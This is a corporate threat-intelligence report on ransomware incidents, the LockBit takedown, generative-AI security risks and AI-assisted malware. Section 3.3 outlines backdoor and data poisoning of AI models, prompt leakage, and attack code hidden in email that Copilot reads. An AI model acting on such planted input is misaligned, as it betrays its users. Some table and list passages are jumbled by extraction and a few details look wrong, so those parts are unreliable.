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1. Executive Summary

This report is the result of survey and analysis by NTTDATA-CERT on quarterly
global trends from its own perspective based on cybersecurity-related information
collected in the period.

Latest trends in ransomware

The threat of ransomware attacks is still present and ongoing. The number of
attack cases and the amount of ransom paid per case in the 1st Quarter of FY2024
are both increasing compared to the same period of FY2023.

The situation remains that while law enforcement agencies of the respective
countries cooperate with each other and achieved certain results, including
takedown of the leak sites of ransomware groups, new groups continue to conduct
similar attacks. It is likely that the threat of ransomware attacks will not end unless
not only responses by law enforcement agencies, but also measures against
ransomware by public and private organizations, including their supply chains, are
taken.

Security threat and risk of generative Al

The prevalence of generative Al is causing serious issues in cybersecurity by
creating new threats of cyberattacks and worsening existing security risks, etc. In
fact, creation of content by exploiting generative Al, increased efficiency in existing
cyberattacks by exploiting generative Al, and cyberattacks to generative Al
systems using malicious prompt inputs, etc., have been confirmed.

Organizations should promote the implementation of generative Al security
measures throughout the organization by developing human resources with
knowledge and skills in generative Al security to enable pre-checking and blocking
the inputs to generative Al and detecting abnormal behavior and security
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breaches by constantly monitoring the behavior of the Al model.

Exploitation of generative Al for cyberattacks and
necessary countermeasures

The case of the malware “Rhadamanthys” that appears to have been created
by generative Al is presented here.

It is believed that it will take some time before cyberattacks using malware
automatically created by generative Al become common. However, improved
malware creation technologies and increased variant creation speed could be a
great threat. Therefore, we must respond to this threat by enhancing threat
intelligence using generative Al, implementing Al-driven EDR, and utilizing
generative Al for security monitoring operations.

Zero-day vulnerabilities, checking the information

once is not enough

The occurrence of zero-day vulnerabilities remains at a high level. This section
addresses the PAN-OS vulnerability “CVE-2024-3400" that affected many
organizations in April 2024 and explains the response implemented by NTTDATA-
CERT.

Security personnel and system administrators of organizations should not be
reassured just by checking the vulnerability information once the first time and
completing the wvulnerability response. For both zero-day and ordinary
vulnerabilities, it is necessary to check the vulnerability information updates at
least once a day. Security personnel and system administrators of organizations
can reduce security risk of the organization to the minimum by promptly
responding to information updates.




2. Featured Topic “Latest
trends in ransomware”

Ikumi Urabe, Security and Network Department, NTT DATA Japan

2.1. Outlook of 1st Quarter of FY2024

The threat of ransomware attacks is still present and ongoing. The number of
attack cases and the amount of ransom paid per case in the 1st Quarter of FY2024
are both increasing compared to the same period of FY2023 [1]. In Japan, various
companies, including KADOKAWA and Iseto Corporation, also reported damage
from ransomware attacks in the 1st Quarter of FY2024. In the case of Iseto, in
particular, information on many companies and municipalities that had outsourced
their operations to Iseto was leaked. The business impact was not limited to
Iseto's own operations, but extended to the operations of outsourcing companies
and municipalities. As described above, for the ongoing threat of ransomware
attacks, law enforcement agencies of the respective countries have been carrying
out activities, including taking down the leak site of LockBit, a representative
ransomware group, and, although limited, certain effects have been achieved in
preventing ransomware damage. [2].

This section provides the overview of the LockBit takedown operation “Operation
CRONOS” and explains its impact.

2.2. Lessons to be learned from
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ransomware damage at Iseto

As mentioned at the beginning, a number of cases of damage from ransomware
attacks were reported also in the 1st Quarter of FY2024. Of the three cases in
Table 2-1, the ransomware attack case with the largest number of data breaches
was the case of Iseto. How could Iseto, which provides information processing
services, have so much information leaked? The causes are explained and
measures to prevent similar damage are explained here.

Table 2-1: Ransomware attacks occurred/reported in the 1st Quarter

of FY2024
Publicati
Hblication Organization Overview
date
5/19 [3] Okayama A failure occurred in the integrated information
Psychiatric system, including electronic medical records,

Medical Center | due to ransomware. On the next day, a
threatening message and the description of
the contact email address were found in the
system. Information, including name, address,
date of birth, and name of disease, on up to
40,000 patients may have been leaked. It was
confirmed that some of that information was

posted on the dark web.




5/29 [4] Iseto Files on internal servers and PCs were (2) Damage
Corporation encrypted by ransomware. One and a half
million pieces of personal information,
including the information on municipalities and
companies that had outsourced their

Iseto’s business activities were affected, but the impact was not limited to its
own. In addition to contracted information processing services for clients, Iseto is
also contracted by municipalities to print tax notices, etc. Since certificates of

operations to Iseto, may have been leaked. residence of municipalities and client lists of companies that Iseto was contracted

Some of that information was posted on the with were also leaked, municipalities also had to respond to the leaked information.

leak site of the ransomware group. As just described, the impact extended to the operations of the companies and
6/8 [5] KADOKAWA File servers. etc., in the data center for the municipalities that had outsourced their operations to Iseto.

KADOKAWA Group’s Niconico and other Major damage from data breaches reported at this time is as shown in Table

2-2. It was announced that in addition to the organizations described, many other
outsourcing organizations might also have been affected.

services were attacked by ransomware. Many
services, including Niconico Video and N Prep
School, were affected and became
unavailable. Two hundred and fifty thousand

pieces of personal information, including Organization Information Cases
name, address, date of birth, telephone

Table 2-2: Data breach due to ransomware attack at Iseto

.m;mber,.and acr(]:ount number, a.n}c: l;:or?orate Toyota City, Aichi Approx. Tax notices for property tax, etc.
information such as contracts with business Prefecture [8] 1,035,000
partners were leaked.
2 3 . OverV|eW Of damage Tokushima Prefecture | Approx. Automobile taxpayer information, etc.
. . . [7] 200,000
As described in Table 2-1 above, on May 26, 2024, multiple servers and PCs
within Iseto were infected with ransomware and files were encrypted. ) ) ) )
Wakayama City [9] Approx. Inhabitant taxpayer information, etc.
(1)  Attack method 150 000
The details of the ransomware type and the cause of infection are not
disclosed at this time. However, it become apparent that the attack was by the Kumon Institute of Approx. Personal information of members and
ransomware group “8base” as it posted an attack statement on Iseto and Education Co., Ltd. 730,000 instructors, etc.
disclosed the files stolen on its leak site [6, 7]. [10]
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Kubota Credit Co.,
Ltd. [11]

Approx.
60,000

Customer information such as usage
details

2.3.1.Supply chain risk

What is notable about this case is that many organizations had outsourced
their operations to Iseto and a massive amount of personal information related
to those organizations was leaked. A similar case in which the outsourced
organization was infected with ransomware and a massive amount of personal
information was leaked is the case of Takano Sogo Accounting Firm in June
2024. Personal information of companies that had outsourced their tax agency
services, etc., to Takano Sogo Accounting Firm was leaked [12].

The initial impact when the outsourced organization is infected with
ransomware is suspension of outsourced operations, and leakage of confidential
and personal information that is managed by the outsourcing organizations and
entrusted to the outsourced organization. Then the impact on related peripheral
operations and reduced customer trust due to suspension of operations and
personal data breach will follow. In addition to these, costs for responding to
customer inquiries, implementing recurrence prevention measures, and finding
another organization to outsource operations to are also incurred. For the
outsourced organization, if the impact of the ransomware attack extends to the
outsourcing organizations, it will lose the trust of the outsourcing organizations,
have the contracts terminated, and, in the worst case, face demands for
compensation.

The growing risk of a data breach from the outsourced organization is also
related to the diversification of ransomware attack methods. Most of the current
ransomware attacks are based on “double extortion,” which is a twofold threat
consisting of encryption by ransomware and disclosure of the stolen information.
In fact, in the first half of 2024, posting of the stolen information on the leak sites
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increased 23% from the same period of the previous year [13]. In other words,
the risk of the information leaked by ransomware attacks being disclosed is
becoming greater than ever. In addition, organizations infected with double
extortion ransomware are increasing and, as a result, there have been many
cases where the information of outsourcing organizations was leaked from
companies that possess a lot of client information such as Iseto and Takano
Sogo Accounting Firm.

According to the previous Quarterly Reposts, the supply chain attack methods
can be categorized into the following three: “(1) attacks using outsourced
organizations as a stepping stone”, “(2) software supply-chain”, and “(3)
information theft from the outsourced organizations” [14]. It is unknown whether
this case falls under (1) where the ransomware group 8base targeted an
outsourced organization and attacked Iseto to be used as a stepping stone or
(3) where Iseto just happened to be one of the companies attacked by 8base. In
either case, it is assumed that, when compared to systems of outsourcing
organizations that implement security measures, systems of the outsourced
organizations tend to have insufficient security measures and are more prone to
damage from ransomware attacks.

2.3.2.Lessons learned

To prevent such data breach from the outsourced organization, how should the
outsourcing organization have responded? The reasons why managing the risk
of data breach from outsourced organizations in the supply chain is difficult is that
the outsourcing organization cannot thoroughly understand the personal
information management status of the outsourced organizations. In fact, Iseto
forgot to delete the relevant data even after the outsourced operations were
completed, leading to the breach of over 1.5 million pieces of personal data in this
case. An ideal method to reduce such data breach risk is to establish a
mechanism that allows the outsourcing organization to monitor and control the
data management status of the outsourced organizations [15]. For instance, data
can be handled within a defined scope, time period, and purpose by implementing




technical security measures such that the outsource organization checks the
access privileges of workers and the data read/write logs on operating terminals
of the outsourced organizations, and requires them to delete data that has passed
the outsourcing period. When entering into an outsourcing contract, it may be a
good idea to discuss the establishment of these security measures with the
outsourced organization.

In addition, as a basic premise , outsourced organizations such as Iseto are
required to implement security measures to ensure that their systems are not
vulnerable. And the outsourcing organization should confirm it. However, it is time-
consuming and costly for the outsourcing organization to individually check the
security measures for the systems of the outsourced organizations and determine
the safety, and is therefore not realistic. In general, the outsourcing organization
ensures the security of the outsourced organizations by including appropriate
security measures in the outsourcing contracts. In the outsourcing contract
between the outsourcing organizations and Iseto, personal information would be
stored on servers in the business network that could not be accessed from the
outside [15]. However, this was not followed and personal information was stored
on internal mission-critical servers, which were the subject of the attack. In
addition, the contract had a clause to delete personal information at the end of the
outsourcing period.

The status of implementation of appropriate security measures and risk
management is also a criterion for determining whether to obtain official
certification such as a privacy mark and ISO 27001 certification. Iseto had
obtained the above two official certificates and ISO 27017 certification [16] [17].
Not to mention that Iseto had issues in its security measures and operation
management, the issue is that these certification systems could not sufficiently
verify the actual status of security measures and response systems.

One of the methods to evaluate the actual state of security operations that cannot
be ascertained even by contracts and official certification system is “Threat-Led
Penetration Testing” (hereinafter “TLPT”). In TLPT, scenarios are created from the
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perspectives of attackers and the ability to respond is comprehensively evaluated.
The actual management status of personal information can also be examined.
However, the TLPT results also shows the vulnerable areas of the organization
and the problems in its ability to respond to incidents. Therefore, to use TLPT, it
must be able to disclose the TLPT results to the outsourcing organization.
Reporting the TLPT results to the outsourcing company can show, as evidence,
the ability to respond to a situation similar to when the outsourced organization
actually suffered damage from cyberattacks.

2.4. LockBit takedown operation
“Operation Cronos”

Many ransomware groups are still active today, including the abovementioned
“8base” that attacked Iseto and “BlackSuit”, the most talked about group in the 1st
Quarter of FY2024, that attacked KADOKAWA. In the 1st Quarter of FY2024
alone, confidential information of more than 1,200 organizations infected with
ransomware was posted on the ransomware groups’ leak sites [18]. Of those
groups, the ransomware group with the largest number of posts was “LockBit”.
LockBit is one of the groups that caused the most damage, including having
caused a lot of critical infrastructure to stop running. Twenty-five percent of all the
information exposures in 2023 are believed to be attributed to that group [19] [20].
With such background, law enforcement agencies of respective countries have
been cooperating in conducting a joint investigation of LockBit since 2022, and
have achieved some results. For instance, in February 2024, they executed an
operation called “Operation Cronos” to seize control and take down servers of
LockBit's leak site. Section 2.3 explains the overview of Operation Cronos, its
impact on LockBit’s activities, and long-term effects of such takedown operations
against ransomware groups.




2.4.1.Overview of operation

Law enforcement agencies in France, Germany, the Netherlands, Sweden,
Australia, Canada, the United Kingdom, the United States, Switzerland, and
Japan cooperated to conduct Operation Cronos aimed at destroying LockBit.

Upon request from France in April 2022, a hearing was held first at the
European Judicial Organization “Eurojust” and a joint investigation was initiated.
Operational meetings and technical sprints were then held to finalize the direction
of the investigation. As a result of months of operation, a seizure banner of law
enforcement agencies was displayed on LockBit’s leak site on February 19, 2024
at around 9:00 p.m. Greenwich Mean Time, and on the next day, multiple law
enforcement agencies, including EUROPOL, announced the success of this
operation.

THE SITE IS NOW UNDER CONTROL OF LAW ENFORCEMENT /

This site is now under the control of The National Crime Agency of the UK, working in close cooperation i
with the FBI and the international law enforcement task force, ‘Operation Cronos’.

S
.

Figure 2-1: Notification page by law enforcement agencies

displayed on the leak site [21]
The results published in this series of operations are as follows.

(1)  Takedown of the platform infrastructure

The U.K. National Crime Agency “NCA” was able to take control of LockBit's
major infrastructure. This enabled takedown of a total of 34 servers located in

© 2024 NTT DATA Group Corporation / NTT DATA Japan Corporation

6

eight countries, namely the Netherlands, Germany, Finland, France, Switzerland,
Australia, the United Kingdom, and the United States. In addition, the
infrastructure for the custom tool “Stealbit” for affiliates that LockBit used to steal
data was also announced to be shut down. Along with these takedowns, source
codes and massive amounts of information on victim organizations on LockBit's
platform were obtained. The information on victim organizations contained
information on the organizations that had already paid ransoms. This made the
fact clear that ransomware groups such as LockBit do not delete the stolen
information even if the ransom is paid.

The author of this section assumes that the NCA used the vulnerability “CVE-
2023-3284” to breach LockBit's server via PHP and eventually took control of
LockBit’s infrastructure [19] [22]. LockBit searches for vulnerabilities and launches
ransomware attacks; however, this time, they left the vulnerability in their own
system unfixed, which enabled the NCA to hijack their leak site and servers.

(2)  Arrest and prosecution of persons involved

In this operation, two suspects who were believed to be LockBit operators were
arrested in Poland and Ukraine. In addition to the above, judicial organs in France
and the United States issued three international arrest warrants and five
indictments.

The law enforcement agencies also identified over 14,000 unauthorized
accounts involved in LockBit activities and recommended their deletion.

(3)  Seizure of crypto-assets

In this operation, more than 200 crypto-asset accounts and bank accounts were
frozen. In addition, approximately 30,000 crypto-asset addresses that appear to
have been used by LockBit for receiving ransom payments, etc., were also
obtained. Of those 30,000 addresses, more than 500 crypto-asset addresses
were still valid, and LockBit had received more than 125 million dollars during the
period from July 2022 to February 2024. At the time of investigation,
approximately 110 million dollars were unused. At this time, the value of




cryptocurrencies stored in the seized accounts is unknown, but there is a
possibility that the victims who have paid the ransom can get part of it back.

(4)  Provision of decryption keys/tools

In this operation, LockBit-related decryption tools for victim organizations were
released by NoMoreRansom. One of them is a decryption tool developed using
over 1,000 decryption keys collected from LockBit's servers. Another one is a
decryption tool developed by the Metropolitan Police Department of Japan, etc.
This decryption tool was developed over several months by reverse engineering
LockBit.

2.4.2. Situation after the takedown

The abovementioned results were achieved through cooperation among law
enforcement agencies of respective countries. For three weeks after the
completion of the operation, the number of LockBit detections decreased to nearly
zero [23].

On February 24, 2024, however, a person who appears to be the leader of
LockBit published another leak site. On this site, not only the information on past
victim organizations, but also the information on new victim organizations is
disclosed. In addition, a declaration of resumption of activities and a message that
appears to be a declaration of retaliation against the FBI are posted. As described
above, Operation Cronos achieved many of its goals, but could not completely
destroy LockBit.

2.4.3.Whether the threat of ransomware attacks will
end

Will the threat of ransomware attacks end owing to the operations executed in
cooperation among law enforcement agencies of the respective countries, such
as Operation Cronos? Operation Cronos achieved certain goals regarding the
ransomware group, including takedown of LockBit’s leak site and development of
LockBit decryption tools, and temporarily slowed down attacks. In addition, this
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operation decreased trust in LockBit within the cybercrime community, which may
also lead to a decrease in LockBit’s activities.

However, it is unlikely that takedown operations alone can end the threat of
ransomware attacks. The number of ransomware attacks is not decreasing as, in
addition to LockBit, new groups such as BlackSuit and RansomHub are
expanding their activities, and ransomware attacks by loners operating
independently of ransomware groups are increasing [24, 18]. In addition, even if
activities of specific ransomware groups slow down and the threat of those
organizations decreases, other ransomware groups will continue to utilize the
ransomware developed by those organizations. In fact, the ransomware group
“Brain Cipher” added slight changes to LockBit 3.0 leaked in September 2022 by
the developer who was not satisfied with LockBit, and utilized it for ransomware
attacks in June 2024 [18].

Ransomware groups may also change their extortion methods and activities to
flexibly respond to operations of law enforcement agencies. For instance, as
activities to release decryption tools for victims, such as NoMoreRansom, are
increasing, ransomware attacks that do not encrypt data called no-ware ransom
attacks have emerged [25].

For the above reasons, it is considered difficult to eliminate the threat of
ransomware attacks with takedown activities of the respective countries, including
Operation Cronos, alone.

2.5. Conclusion

This article presented the trends in ransomware in the 1st Quarter of FY2024,
supply chain risk due to ransomware attacks, and takedown of LockBit. The
impact of ransomware attacks is not limited to the targeted company, but extends
to its supply chain and the damage it causes can be enormous. For this reason,
to reduce the risk of data breaches from the supply chain, it is necessary to
establish a secure mechanism to prevent data breaches by technical measures
and continuously monitor the data management status.




The takedown of LockBit achieved certain goals, including seizure of the leak
site and development of decryption tools, but LockBit resumed its activities and
other ransomware groups are also active. Since the threat of ransomware attacks
remains high, not only law enforcement agencies, but also public and private
organizations must seriously take measures against ransomware in cooperation
with its supply chain. Otherwise, the threat of ransomware attacks will never end.
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3. Featured Topic “Security
threat and risk of
generative Al”

Lin Qian, Technology and Consulting Department, NTT DATA Japan

Artificial intelligence (Al) technology constantly advances and has a profound
impact on individuals, companies, and society as a whole. In particular, the
prevalence of generative Al opens a new era of technological advancement and
provides innovative solutions in various fields (for example, more sophisticated
smartphones, automated driving functions of automobiles, etc.). The various
types of generative Al improve efficiency, productivity, and profitability of
organizations, and have become an integral part of industrial operations.
According to a study by McKinsey, in 63 business use cases of generative Al
utilization, generative Al can bring as much as 2.6 to 4.4 trillion dollars’ worth of
value annually [26].

At the same time, the prevalence of generative Al is causing serious issues in
cybersecurity by creating new threats of cyberattacks and worsening existing
security risks. On May 27, 2024, the Metropolitan Police Department arrested a
man residing in Kawasaki City on the suspicion of creating malware by exploiting
generative Al. This was the first arrest case in Japan for the creation of malware
using generative Al [27].

The threat of cyberattacks is expected to increase as the prevalence of
generative Al can empower cyberattacks and creation of false information.
Attackers exploit generative Al to make malware development and cyberattacks
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more efficient. In particular, the emergence of generative Al has lowered the
barriers for entry into cybercrimes, and cyberattacks using personalized phishing
emails are increasing. Therefore, both companies and individuals need to raise
awareness of cyberattacks exploiting generative Al and their prevention.

This article explains the study results on generative Al-powered cyberattacks,
risks brought by generative Al, and attacks targeting generative Al systems.

3.1. Generative Al-powered cyberattacks

Security experts project that LLMs could be exploited to support cyberattacks
[28]. Generative Al has a significant impact on various fields of cybersecurity.

Cyberattacks are rapidly evolving by exploiting generative Al. For instance,
interpretation by generative Al allows attackers both in Japan and abroad who
speak different languages to communicate more efficiently. As a result,
cyberattacks accelerated. Generative Al empowered cyberattacks by enabling
mutual cooperation among criminals to enhance their abilities to adapt and
respond.

By using tools such as machine learning and generative Al, attackers can
accelerate finding and breaching routes of entry for cyberattacks, expand the
scope and impact of cyberattacks, and make the development of attack methods
more efficient. For instance, machine learning can be used to automatically
analyze vulnerabilities in web applications. Attackers can also generate new
malware and rapidly find potential vulnerabilities in systems by exploiting large
language models (LLMs). Through the use of generative Al, cybercrimes are
empowered by lowered barriers for participation in cybercrimes and increased
efficiency, scale, and impact of cyberattacks.

The details of cyberattacks using LLMs are presented in chapter 4 “Exploitation
of generative Al for cyberattacks and necessary countermeasures” of this
Quarterly Report on Global Security Trends.




3.2. Risks related to generative Al

3.2.1. False information created by generative Al

Attackers are creating false information by exploiting generative Al. Generative
Al for phishing fraud and business email compromise, WormGPT and FraudGPT,
emerged in 2021. These generative Al are equipped with interactive interfaces
similar to that of ChatGPT, and attackers can interact with the generative Al to
create sophisticated phishing emails and business compromise emails.
Furthermore, by using generative Al, attackers can generate false information in
languages and cultures other than those of their native country. In other words,
even attackers without information on the fraud target or foreign language skills
can readily generate false information.

(1)  With generative Al, attackers can create highly personalized, credible-
looking phishing emails. Attackers exploit generative Al to create emails
tailored to individual targets by imitating legitimate communication styles
and languages. Generative Al can also create emails by more quickly and
efficiently taking into consideration local dialects, cultural nuances, and
complex grammatical rules than humans. Because recipients are more
likely to trust these highly personalized emails as a genuine message, the

probability of a successful phishing attack is significantly increased [29].

(2)  Attackers exploit generative Al to process real images and audio to create
audio and videos that appear to be real, commonly referred to as
“deepfake”. Furthermore, it is possible today to create deepfake videos
that are not easily distinguishable by nonprofessionals using
smartphones. Deepfake videos are dramatically increasing on social
media, and the social media analysis company Graphika reported that the
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number of spam emails advertising services to create non-consensual
intimate imagery (NCII) using generative Al increased by 2,000%. The
number of users of NCII services known to Graphika exceeded 24 million
as of September 2023 [30]. According to a survey by Graphika, a major
factor for the growth of NCII services is the increased capability and
accessibility of open source Al image diffusion models. This enabled
many attackers to easily and cheaply create realistic deepfake content.
Rapid development of generative Al technology may allow highly
sophisticated deepfake videos to be create more easily in the future.
There is a concern that as these NCII services gain increased publicity
and become more easily accessible, crimes such as creation and
distribution of non-consensual intimate content, targeted harassment,
sexual intimidation, creation of child abuse content, etc., will increase
[31].

3.2.2.Business risk of generative Al exploitation

With the rapid development of generative Al technology, the national and local
governments, companies, and other organizations are adopting generative Al.
The fields in which companies utilize generative Al include robotic process
automation (39%), computer vision (34%), natural language text understanding
(33%), and virtual agents (33%) [31]. More specific use examples include sales
and marketing, formulation of marketing strategies, content generation, software
development, and service operations.

The risk to companies from using generative Al is not zero. According to a global
study by McKinsey, with the growing prevalence of generative Al, the increase in
new business risks for companies cannot be avoided. The specific risks of
adopting generative Al include inaccuracy of the generative Al and data breaches




due to unauthorized input of confidential information [32].
An employee in the Semiconductor Division at Samsung entered the source

code of a confidential program into ChatGPT and caused a breach of internal data.

Samsung had been calling on their employees to pay attention to internal
information security when using ChatGPT [33].

The above incident suggests that the rules for preventing the misuse of
generative Al are insufficient. According to a study by McKinsey, those who
answered that their company had policies to manage the use of Al technologies
were 21% [32]. Companies such as Apple, JP Morgan Chase, and Deutsche Bank
prohibit or restrict their employees from using generative Al such as ChatGPT.
Although companies that officially allow the use of generative Al are increasing,
the development and dissemination of generative Al-related security rules are
considered to be lagging behind. It is also believed that technical security
measures to monitor and limit the misuse of generative Al are also insufficient.

3.3. Attacks to generative Al systems

There are four attack methods against generative Al: evasion, poisoning,
privacy, and exploitation. Evasion attacks deceive the generative Al into making
wrong decisions by adding a slight noise to input data or entering data that is
different from the original but is indistinguishable to humans. Exploitation attacks
exploit the capability of the generative Al to spread false information, generate
spam emails, and create deepfakes, etc. They fall under 3.1 and 3.2.1. Privacy
attacks to attack generative Al models and poisoning attacks are explained
below.

3.3.1.Poisoning attacks

Poisoning attacks is an attack method that manipulates the performance and
output results of Al models by intentionally inserting inaccurate or harmful data
into training data for the Al models. Poisoning attacks cause generative Al to
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output inaccurate predictions and wrong decisions, thereby lowering the reliability
of the generative Al. Poisoning attacks are extremely powerful and may cause
problems either in the availability or the integrity of generative Al. There are
several types of poisoning attack methods, including data poisoning, model
poisoning, label control, source code control, and test data control. This section
explains the threats of availability poisoning, targeted poisoning, backdoor
poisoning, and model poisoning attacks. The categorization of poisoning attacks
is based on the framework developed by Cina, et al. [34]. The following four types
of data poisoning attack methods are presented [35] [36].

(1)

()

Availability poisoning: An attack method that intentionally disrupt the use
of Al models to stop services or slow down the response speed. More
specifically, massive meaningless requests are sent to Al models to
overload generative Al systems and make them unable to respond,
sophisticated prompts that cause infinite loops are given to Al models,
cause processes to be executed that consume massive resources,

including memory and CPU, used by Al models, etc.

Targeted poisoning: An attack that intentionally distorts the behavior of
generative Al by intentionally inserting malicious data into training data for
Al models. In the case of generative Al, this attack can embed certain
biases or wrong information in the text and images, etc., generated by the
generative Al. For text-generative Al, the attack uses a lot of text that
instills certain opinions or thoughts for training to have those opinions,
etc., reflected in the text generated by the generative Al. For image-

generative Al, the attack adds noise or intentionally mislabels certain
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of researchers found that the outputs of the model can be changed by editing
Wikipedia posts and uploading images with adverse effects to manipulate the
tendencies of generative Al. In addition, Copilot retrieves information in emails
with various functions by default. Therefore, even if the victim does not open a
malicious email, if the attacker has placed the attack code in the email, Copilot
may read the email and suffer a poisoning attack [38]. In other words, it is possible

images to cause incorrect features to appear in the images created by the

generative Al. [37]

(3) Backdoor poisoning: A backdoor poisoning attack against generative Al is

like an intentionally planted backdoor in Al models. This attack method

makes use of such a backdoor and causes Al models to generate certain
outputs when the Al models receive certain inputs called triggers. Data
containing certain triggers such as adding a specific noise to the image or
including a specific word sequence in the text is mixed into legitimate
training data. These triggers are designed to be hard to notice. Al models
may be forced to leak confidential information or company secrets or

generate harmful content such as hate speech and false reports.

(4)  Model poisoning: A type of attack that intentionally inserts malicious data
into the training data set for machine learning models, including
generative Al models. Model poisoning is a collective name for the
attacks aimed at lowering the model performance, which includes
backdoor poisoning, label poisoning, feature poisoning, and causal

poisoning, etc.

While availability poisoning attacks cause overall degradation of the Al models,
targeted poisoning attacks and backdoor poisoning attacks cause a small number
of integrity violations in the targeted samples within the machine learning model.
They are high-level stealth attacks whose effects are difficult to detect. When
companies and organizations use Al models, they do not build them from scratch,
but use existing models provided by OpenAl and other companies as a basis. The
models built this way can be affected by poisoning attacks from outside. A group
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to contaminate Al models without directly accessing them [36].

3.3.2.Privacy attacks

Privacy attacks estimate personal and confidential information contained in Al
models. There is a risk that personal information and important confidential
information used to train Al models may be leaked. The main privacy attack
methods are as follows.

(1)

()

@)

Membership inference attack: An attack method that infers input data
used to train the Al model. The attackers input certain data to the Al
model and analyze the outputs to infer whether the input data was part of
the training data. They can infer whether certain records are included in
the data set used for calculating statistical information or training machine

learning models.

Model inversion attack (model reconstruction attack): An attack method
that reverse engineers and reconstructs input data for training from the
parameters and output results of the Al model. The attackers can restore
the original data used for training the Al model using optimization
methods.

Property inference attack: An attack method that infers specific properties
and statistical information on the training data. The attackers can infer the

information on the distribution of sensitive attributes within the training




data by analyzing the Al model’s behavior. They may reveal the

demographic information and other confidential patterns.

(4) Prompt leakage: An attack method that extracts confidential information
contained in the instruction text, or “prompt”, given to the generative Al.
The attackers can infer the content of the prompt by analyzing the outputs
of the Al model.

3.4. Conclusion

While the advancement of generative Al provides innovative solutions in various
fields and contributes to the efficiency, productivity, and profitability of
organizations, it also increases cybersecurity risks and new threats. In particular,
there have been increased phishing attacks and proliferation of deepfake videos
as it became easier to create the content by exploiting generative Al. With the
exploitation of generative Al, the efficiency of conventional cyberattacks is also
increasing. Cyberattacks against generative Al systems using malicious prompt
inputs are also occurring.

Companies utilizing generative Al need to take security measures against
various generative Al risks. For instance, robust Al models resistant to
cyberattacks should be built. Hostile samples can be created by providing input
data with intentionally added noise to the model. If the Al model is trained by
pairing these hostile samples with correct labels, it will be able to make correct
decisions against evasion attacks. To prevent the leakage of confidential
information such as personal information, only the minimum necessary data
should be used for Al model training or Al models should be trained jointly without
sharing confidential information. Regularly checking the performance of the Al
model and the existence of vulnerabilities is also effective. Human resources with
knowledge and skills in generative Al security should be developed to enable pre-
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checking and blocking of the inputs to generative Al and detecting abnormal
behavior and security breaches by constantly monitoring the behavior of the Al
model. As described above, comprehensive generative Al security measures
should be implemented throughout the organization.




4. Malware/ransomware
“Exploitation of
generative Al for
cyberattacks and
necessary
countermeasures”

Ayumu Toriyama, Security and Network Department, NTT DATA Japan

While generative Al transforms our life and businesses, it also causes
cyberattacks to evolve rapidly, powerfully, and effectively. According to the
Information-technology Promotion Agency, Japan (hereinafter “IPA”), although it
will take some time for attacks using malware automatically created by generative
Al to become commonplace, they can be a significant threat [39].

This article presents the cases of “Rhadamanthys”, a malware assumed to be
created by generative Al, and shows that existing anti-malware measures alone
are not sufficient against the new threat of malware created by generative Al. It
further proposes Al-based protective measures, and presents the impact of Al on
security from the perspectives of both advantages and disadvantages.
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4.1. Generative Al-powered cyberattacks

While generative Al has significant impact on our life and businesses, it has
also brought a significant change to cyberattack methods. The methods of
cyberattacks exploiting generative Al and its technology platform, LLMs, vary
widely. This chapter shows the examples of exploitation of generative Al for
cyberattacks. In addition, the differences between malware created by generative
Al and conventional malware are presented.

4.1.1. Exploitation of generative Al for cyberattacks

Attackers exploit generative Al to enhance productivity in malware development
and evolve attack methods. The IPA projects that attackers will enhance
cyberattacks using generative Al or LLMs as follows [39].

(a) Enhancement of malware creation: The time to create malware to be
used for cyberattacks can be reduced. More specifically, attackers can
rapidly create high-quality, bug-free attack scripts by exploiting generative
Al, thereby significantly reducing the coding time compared to conventional
manual coding. In addition, generative Al can enhance the ability to develop
new attack scripts by presenting new ideas of attack methods to attackers.

(b) Vulnerability study: Attackers can analyze massive vulnerability data by
exploiting LLMs to detect undiscovered vulnerabilities in software and
systems in a short time.

(c) Security function evasion: Attackers can detect methods to evade
security functions such as two-factor authentication by exploiting LLMs.

As described above, attackers may exploit generative Al or LLMs to enhance
cyberattacks in a variety of ways. They can also increase the productivity by




exploiting generative Al in everyday ways, including creation and translation of
draft email text.

4.1.2. Malware created by generative Al

Various articles projecting the risk of cyberattacks exploiting generative Al point
out the potential exploitation of generative Al for the creation of sophisticated
malware by attackers. One specific method of generative Al exploitation is
obfuscation of malware code. Obfuscating the malware code can evade the
signature-based detection mechanisms of anti-malware software. It may also be
possible to make the detection difficult by training LLMs with past attack data and
altering the malware behavior according to the execution environment to change
the attack methods. For instance, malware may check the existence of certain
security software and dynamically change the attack method.

4.2. Generative Al-created malware
“‘Rhadamanthys”

According to Proofpoint, Inc., the attack group TA547 launched an attack
campaign targeting dozens of organizations in various industries in Germany in
April 2024. TA547 impersonated the Germany retail company Metro and sent
malware called Rhadamanthys in emails. Rhadamanthys is an information theft
tool [40].

4.2.1.Traces of having been created by a generative
Al

There are several reasons that Rhadamanthys was created using generative
Al. First, the second PowerShell script used to load Rhadamanthys had some
characteristics that could have been created by a generative Al. More specifically,
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the first line of a function, class, or other component in the PowerShell script had
a distinctive comment. This distinctive comment is one of the typical output
formats left by generative Al when it creates PowerShell scripts. In other words,
TA547 used generative Al to write or rewrite the PowerShell script or copied from
a PowerShell script that someone else created using generative Al. Since the
Rhadamanthys-related  PowerShell script had such characteristics,
Rhadamanthys itself is assumed to have been created using generative Al or is a
malware modified by exploiting generative Al.

4.2.2. Threat of malware created by generative Al

From the Rhadamanthys cases, specific evidence that the attackers could have
exploited generative Al to create malware was found. By exploiting generative Al,
it is possible to not only create malware variants in a short time, but also create
malware without coding skills in a relatively short time. For instance, in May 2024,
the Cybercrime Division of the Metropolitan Police Department arrested a person
who had created malware by exploiting multiple generative Al models. This person
was not well-versed in IT, but successfully created malware using generative Al
[41].

Furthermore, in the United States, researchers successfully created malware
that autonomously attacks newly disclosed vulnerabilities using generative Al [42].

Attackers with specialized knowledge could enhance their ability to launch more
sophisticated cyberattacks with assistance from generative Al. In addition, by
using generative Al, attackers could create many variants in a short time, which
may result in a situation where the security teams of companies will be unable to
keep up with their responses. With attackers frequently creating new variants,
fixing vulnerabilities in systems and detecting malware may be delayed, thus
increasing the damage. At this time, generative Al has not dramatically increased
the threat of malware, but companies need to prepare for future security risks.

Even if generative Al is used, however, highly obfuscated malware or malware
with cutting-edge attack technology cannot be created. It is possible to evade




detection by the malware detection system that uses hash values of malware files,
but the malware detection system that uses behavioral detection and EDR
(Endpoint Detection and Response) cannot be evaded [43].

From these cases, at this time, malware created using generative Al is not
enough of a threat to conventional security measures, but it is assumed that it
could be a realistic threat in the future. More specifically, using generative Al
enables individuals without specialized knowledge to create malware. The
development cost can also be reduced significantly, and malware as well as tools
and content used for cyberattacks can be developed in a short time. As a result,
cyberattacks are expected to occur more often in the future.

